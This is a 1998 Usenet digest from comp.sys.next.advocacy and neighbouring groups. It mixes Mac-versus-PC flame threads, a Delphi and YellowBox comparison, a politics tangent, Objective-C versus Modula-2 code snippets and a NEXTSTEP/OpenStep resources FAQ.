Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6rnp5m$hlc@news1.panix.com>
References: <6rkhub$705$1@nnrp1.dejanews.com> <joe.ragosta-2108981911390001@elk120.dol.net> <6rlvbo$ro7$1@nnrp1.dejanews.com> <gmgraves-2208981135150001@sf-usr1-32-160.dialup.slip.net> <a_fraser-2208981532580001@port-37-31.access.one.net>
On Sat, 22 Aug 1998 15:32:58 -0400, Alan Fraser <a_fraser@one.net> wrote:
>Windows operating systems are like Celine Dion songs - They all sound
>pretty much the same but lemmings buy them anyway...
LOL.
YMMV, but I'll take NT over that grating voice any day of the week.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Delphi and YB (Was Re: Claris apps and YB (Was Re: Heidi Roizen))
Date: 23 Aug 1998 00:53:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6rnp5n$hlc@news1.panix.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <35dd962f.0@news.depaul.edu>
On 21 Aug 98 15:45:51 GMT, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>Delphi's Object Pascal is pretty nice, and has some Objective-C-like
>dynamic features, though it doesn't go as far. I really miss
>Categories when I'm using Delphi.
>I haven't used it since 2.0, and later versions are supposed to
>have nifty support for COM (ick), which I think lets you create
>things like Protocols.
V3 and V4 add a number of language features, many of them useful :)
Delphi now has overloading, interfaces, default parameters and a
few other goodies. Check it out before you dismiss it. If you dispise
Pascal that much, Inprise (TsoftwarecompanyFKA Borland) sells Java
and C++ versions under the name JBuilder and C++ Builder.
With that said, I much perfer MVC programming to the Form based/PEM
stuff that Delphi, et al, does. I also like the fact that I can use
C++ and Java from YB with a lot less effort that from Delphi.
>Two things Delphi has over YellowBox: 1) compiles are single-pass,
>and very fast; 2) It's much easier to create a palletized object.
Compared to Delphi's IDE, the combo of IB+PB blows fat hairy chunks.
But just about all IDE's blow chunks when compared to Delphi. Compared
to Delphi, MS Visual Studio blows supernova chunks. (I've heard a lot
of good things about Metrowork's IDE, but since I haven't used it, I
will not comment on it any more than that. I would appreciate
comparisons between it and Delphi/IB+PB/MS from anyone who has used them)
Delphi 4's management of sub-projects is a win over PB. It's class browser
is also a win over PB. (Though it has crashed a few times, I'll assume
that those bugs will get fixed)
MSVC++'s handling of subprojects borders on criminal misconduct. And
it's STL might as well stand for "substandard template library"
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 23 Aug 1998 00:53:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6rnp5q$hlc@news1.panix.com>
References: <35D9D123.C98BF639@ericsson.com> <6rdmof$drt@news1.panix.com> <35DAE429.F37495C2@ericsson.com> <6rg8u4$4qh@news1.panix.com> <35DC4464.D57E0278@ericsson.com>
On Thu, 20 Aug 1998 10:44:36 -0500, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>Libertarians believe it is their right to work for lunch without being
>told how to go about it by people with too much time on their hands. The
>fact that you left the party leaves only one conclusion...
But how does the Libertarian party stand on issues where one persons actions
infringe on anothers right to work?
When a factory's pollution seeps into the groundwater and prevents a farmer
from growing food, why shouldn't that factory owner be held accountable?
What about other cases where one persons Liberty infringes on another's
Liberty? Should we "duke it out" whenever there is a disagreement? How is
replacing the "rule of law" with the "rule of the wealthy and heavily
armed" progress? It sounds like a step back into the days of feudalism
to me.
Libertarian politics derive from classic liberalism, the belief that
government should exist in only those places where one persons freedom
intersects with another persons freedoms. The Libertarian party has devolved
that belief to simple anarchistic beliefs. In every historical example I
have seen, anarchy has become totalitarianism. I trust the rule of law,
as decided by the masses over the rule of the "free market" and those who
can manipulate it.
One of the great aspects of American democracy is the system of check and
balances. The founding fathers knew that "Power corrupts and absolute power
corrupts absolutely" and worked in a system of check and balances to keep any
one person from becoming too powerful, and enforcing his will on others.
Libertarians would remove many of these checks and balances and allow the
possibility that someone will be able to accumulate the wealth and power
needed to take away the liberties of others. I find this the antithesis of the
beliefs that the founding fathers had in mind when the constitution was
drafted.
That is why I dislike much, (but certainly not all) of what Libertarian
Party stands for. I would vote for a Libertarian candidate, provided that
he/she was a moderate, and understood the value of the rule of law.
>...but of course you never actually understood the politics of the
>Libertarian Party, anyway.
I think *you* don't understand the politics of the Libertarian Party.
I understand enought to see the flaws in its policies.
But I don't expect you to see the point. If you wish to believe that anyone
who disagrees with your politics is uninformed, the you have every right to
believe that. So much for being open minded and objective.
Whenever any one person or group claims the have "easy answers" to the hard
problems of the world, I tend to proceed with caution. Maybe life is that
black and white to you... Enjoy your kool-aide.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Sat, 22 Aug 1998 21:00:00 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2208982100000001@r4149.resnet.cornell.edu>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com>
In article <6rkmf4$hnl$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> I will.
>
> Steve Jobs: "I think also, you know, the iMac is faster than the fastest PC
> you can buy for any amount of money."
>
> Absolutely false, and thus a flat-out lie.
It's not a lie that Jobs thinks that.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 22 Aug 1998 23:44:38 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6rnl56$5vt$1@news00.btx.dtag.de>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <35D9EE6C.7032@ieighty.net>
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Legacy 'Xunker' <legacy@ieighty.net> wrote:
> No, not always superior. Better, perhaps, but not superiour. Apple's
> Hardware design has always been utterly beautiful and orgasmic, but the
> OS side is nearly laughable (nearly). MacOS still lacks dynamic memory
> allocation, memory protection and multithreading. Not to say its bad,
> but its way behind the times.
MacOS does not lack dynamic memory (temporary mem) and multithreading,
and offers some memory protection when VM is on.
Lars T.
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 23 Aug 1998 01:38:25 GMT
Organization: KU
Message-ID: <35e17205.3325187@198.0.0.100>
References: <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net> <6rm07c$srq$1@nnrp1.dejanews.com> <a_fraser-2208981126550001@port-50-11.access.one.net> <6rn70v$4lk$1@nnrp1.dejanews.com> <a_fraser-2208982035140001@port-32-31.access.one.net>
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NNTP-Posting-Date: 23 Aug 1998 01:41:53 GMT
On Sat, 22 Aug 1998 20:35:14 -0400, a_fraser@one.net (Alan Fraser)
wrote:
>In article <6rn70v$4lk$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
>> In article <a_fraser-2208981126550001@port-50-11.access.one.net>,
>> a_fraser@one.net (Alan Fraser) wrote:
>>
>> > Yeah...I'm crippled by it. I've only got six music synthesizers connected
>> > to it...four mountable drives...three hard drives (one Ultra SCSI)...an
>> > A-D switch for selecting modem / MIDI / digital camera / QuickCam and so
>> > on...blah, blah, blah...
Why would you need an A-D switch to hook up so few things?
A-(anything) switches are a pretty weak way of solving problems. Buy
a system that handles all you need and you can use them all at once.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: jmcn@ont.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Help me decide
Date: Sat, 22 Aug 1998 20:55:21 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <MPG.104932818f216cef9896dd@news.ont.com>
References: <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU> <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com> <joe.ragosta-2208981507310001@elk34.dol.net>
In article <joe.ragosta-2208981507310001@elk34.dol.net>,
joe.ragosta@dol.net says...
> In article <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com>, qed@pobox.com
> (Paul Hsieh) wrote:
>
> > There are more way more games for PC's than on Macs, so there's no reason
> > to continue with the legacy Mac line unless you like neon blue for some
> > reason and have a deep hatred for floppy disks.
>
> Just like there's no reason to buy a PC unless you feel like following the herd.
>
> Why not try doing a _real_ comparison of the things that
> matter--productivity, cost of ownership, ease of use, and so on? The Mac
> wins hands down.
It really must be frustrating to be a minister in the Mac religion. You
*know* you are correct while the Windows users are absolutely wrong. I
actually feel for you. It's hard to be right all the time.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 23 Aug 1998 02:05:38 GMT
Organization: Primenet (602)416-7000
Message-ID: <6rntdi$o47$1@nnrp02.primenet.com>
References: <35D9D123.C98BF639@ericsson.com> <6rdmof$drt@news1.panix.com> <35DAE429.F37495C2@ericsson.com> <6rg8u4$4qh@news1.panix.com> <35DC4464.D57E0278@ericsson.com> <6rnp5q$hlc@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: But how does the Libertarian party stand on issues where one persons actions
: infringe on anothers right to work?
FWIW, there is a newsgroup called alt.politics.liberterian
John
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <15411903240023@digifix.com>
Date: 23 Aug 1998 03:48:24 GMT
Organization: Digital Fix Development
Message-ID: <6415903844821@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Sun, 23 Aug 1998 03:25:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ro230$vh7$1@nnrp1.dejanews.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <6rkh6m$666$1@nnrp1.dejanews.com> <6rmjvi$41l$1@lwnws01.ne.highway1.com> <6rn6ea$42n$1@nnrp1.dejanews.com> <6rnjl3$pmt$2@lwnws01.ne.highway1.com>
In article <6rnjl3$pmt$2@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> No doubt, but the point still stands that there is much more C
> stuff out there than Pascal, and converting C to Pascal isn't likely
> to be as optimized (not to mention readable) as the original. It's
> an ease of access issue that I believe goes in favor of C. YMMV.
I agree that there is more C source code our there than Pascal. I disagree
that the conversion is likely to result in less optimized code. Pascal offers
pretty much a superset of the functionality found in C so converting from C
to Pascal is usually fairly straightforward.
> I'm not sure what your point is here. Sorry, it's been a while
> since I've actually coded, so I may well have this wrong. But my
> understanding was that things kept private, one way or another, in
> ObjC remain that way and are innaccesible. I may well have this
> wrong, or my understanding of how this is accomplished is so cursory
> (and it is) so that I don't understand the extent of how easy it
> is to access things that are supposed to remain private. But I'd
> love to be enlightened either way. :)
Here is a sample Modula-2 definition file:
DEFINITION MODULE StackLibrary
EXPORT QUALIFIED Stack, CreateStack, Push, ...;
TYPE
Stack;
PROCEDURE CreateStack( VAR S : Stack );
PROCEDURE Push( VAR S : Stack; X : AnyType );
...
You will notice that the user of the module doesn't get even the slightest
clue as to how the Stack data structure is implemented. The user can't see or
touch any of the members of a Stack type.
Here is a sample Objective-C header file:
#import <AppKit/AppKit.h>
@interface Stack : NSObject
{
[List of instance variable declarations]
}
You will notice that the user can see every instance variable that is used in
the Stack object. You cannot access any variables that are private but you can
still see them and that makes the type less opaque. Also note how clean and
elegant the Modula-2 definition file is?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: see-below@not-my-address.invalid (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: 3D chips
Date: Sat, 22 Aug 1998 21:53:26 -0700
Message-ID: <see-below-2208982153260001@dynamic48.pm08.mv.best.com>
References: <6ri2mt$3j6@newsb.netnews.att.com> <6rin3i$uki$1@nnrp1.dejanews.com> <see-below-2008982307040001@dynamic13.pm03.mv.best.com> <6rkkik$a7p$1@nnrp1.dejanews.com> <see-below-2108982110240001@dynamic40.pm05.mv.best.com> <35DF17E7.77640587@nstar.net>
In article <35DF17E7.77640587@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Matthew Vaughan wrote:
>
> > I really don't know the details, but my impression (even before Ray posted
> > this) was the "Turbo" part was manly the result of an updated driver on
> > the PC side.
>
> I believe it actually has to do with TV output; i.e. the Turbo has it.
Are you sure? That doesn't sound right--the Rage Pro XClaimVR has TV
output doesn't it? That came before the "Turbo" version came along.
....................................................
MATTHEW VAUGHAN
matthewv@best.com
http://www.best.com/~matthewv/
....................................................
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Help me decide
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <000035D8F15C.NO_UCE@mauve.demon.co.uk> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU> <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com> <joe.ragosta-2208981507310001@elk34.dol.net> <Pine.LNX.3.96.980822190305.1042G-100000@paule>
Message-ID: <35dfa35f.0@news.depaul.edu>
Date: 23 Aug 98 05:06:39 GMT
In comp.sys.next.advocacy steve <steve@paule.ncpa.olemiss.edu> wrote:
> Whether the mac wins or not is irrelevant to the fact that your constant
> repetition of this mantra borders on the schizophrenic (this is not an
> insult aimed at the afflicted, it is a diagnosis).
It's also a faulty diagnosis. If it was schizophrenia, he'd be
saying that Bill Gates listens to him through his Mac, or that
Windows sucks because 'the voices' say so.
A more appropriate diagnosis would be something like OCD,
Obsessive/Compulsive Disorder, the thing that makes people
turn a light switch on and off a hundred times until they
feel that it's 'right'.
That is, if Joe were having neurological problems, which he
ain't. At least, nothing that isn't shared by 90% of Usenet.
- JH.
> On Sat, 22 Aug 1998, Joe
> Ragosta wrote:
> > In article <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com>, qed@pobox.com
> > (Paul Hsieh) wrote:
> >
> > > There are more way more games for PC's than on Macs, so there's no reason
> > > to continue with the legacy Mac line unless you like neon blue for some
> > > reason and have a deep hatred for floppy disks.
> >
> > Just like there's no reason to buy a PC unless you feel like following the herd.
> >
> > Why not try doing a _real_ comparison of the things that
> > matter--productivity, cost of ownership, ease of use, and so on? The Mac
> > wins hands down.
> >
> > --
> > Regards,
> >
> > Joe Ragosta
> > See the Complete Macintosh Advocacy Page
> > http://www.dol.net/~Ragosta/complmac.htm
> >
> >
> Steven Zanvil Sawolkin
> 228-G Freedom Dr.
> Belleville, IL
> U.S.A. 62226-5184
> 618-277-7380
> lymond@peaknet.net
> alternate: jgerdes@stclair.k12.il.us
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: CJH <ifmtrx@inficad.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sat, 22 Aug 1998 22:49:03 -0700
Organization: Informatrix, Inc.
Message-ID: <35DFAD49.619697B1@inficad.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com> <35DF5F47.DCAB6CBD@geocities.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Jeff Read wrote:
> CJH wrote:
>
> > So I guess you built your own house too! Some people don't want the challenges
> > of constructing a damn computer!
>
> Building a computer is less like building a house and more like
> assembling your kid's new bike. Grab a clue.
If you believe the complexity of a new bicycle equals that of a computer, then
"grabbing a clue" is obviously something you've failed to do! But I guess many
people just aren't as "bright and articulate" as you apparently are, Mr. UNIX,
Linux, Windows Hacker!
CJ
From: philipm@eecs.umich.edu (Philip Machanick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: iMac - Bad News For Apple
Date: Sat, 22 Aug 1998 17:14:09 -0400
Organization: University of Michigan
Message-ID: <philipm-2208981714090001@pm1-06.eecs.umich.edu>
References: <6rl84d$29p$1@nnrp1.dejanews.com> <13663-35DE85A4-11@newsd-124.bryant.webtv.net> <6rmfe5$bvh$1@nnrp1.dejanews.com>
In article <6rmfe5$bvh$1@nnrp1.dejanews.com>, NedMullen@email.msn.com wrote:
>I found out some time ago that I do have better things to do than to develop
>code for the Mac.
Like what, posting trolls to advocacy newsgroups? :(
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at
Department of EE and Computer Science, The University of Michigan
.com> wrote:
>
>: > Steve Jobs: "I think also, you know, the iMac is faster than the fastest PC
>: > you can buy for any amount of money."
>: >
>: > Absolutely false, and thus a flat-out lie.
>
>: He said that's what he thinks. Awfully clever of him. He's giving his
>: competitors a golden opportunity to show him wrong, they should take him up
>: on it.
How are any of his competitors going to figure out what he thinks? Telepathy? :)
>http://www.techweb.com/wire/story/TWB19980821S0021
Interesting story but all it really shows is that a selected bunch of
benchmarks can show the opposite result to another bunch of benchmarks.
Benchmarking is a game, something like boasting about 0-60mph acceleration
times. To get the full picture, you need a really wide range of separately
reported numbers. Adding times is a specially innacurate technique (this
is like adding 0-60 times, braking times and overtaking acceleration
times: have you ever seen a car magazine do that?) because if there is
just one operation that a specific machine is really slow on, it will
dominate -- but it may not be what you do often.
I've seen a G3 running way faster than a P-II on other software. The
article ends up with "The Macintosh tests were run in the default graphics
mode. Enabling graphics acceleration mode would make full use of
high-performance adapters such as the ATI Rage II+, at the expense of
repeatable image precision." Not sure what that means.
If you can find Byte's more detailed comparison, you will see a more
reasonably picture: in some cases a Mac is decisively faster than a
similar-MHz P-II, sometimes the opposite. (I suspect at least part of this
is Mac OS innefficiencies, but there can be other reasons, like how a
specific app relates to the memory hierarchy.)
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at
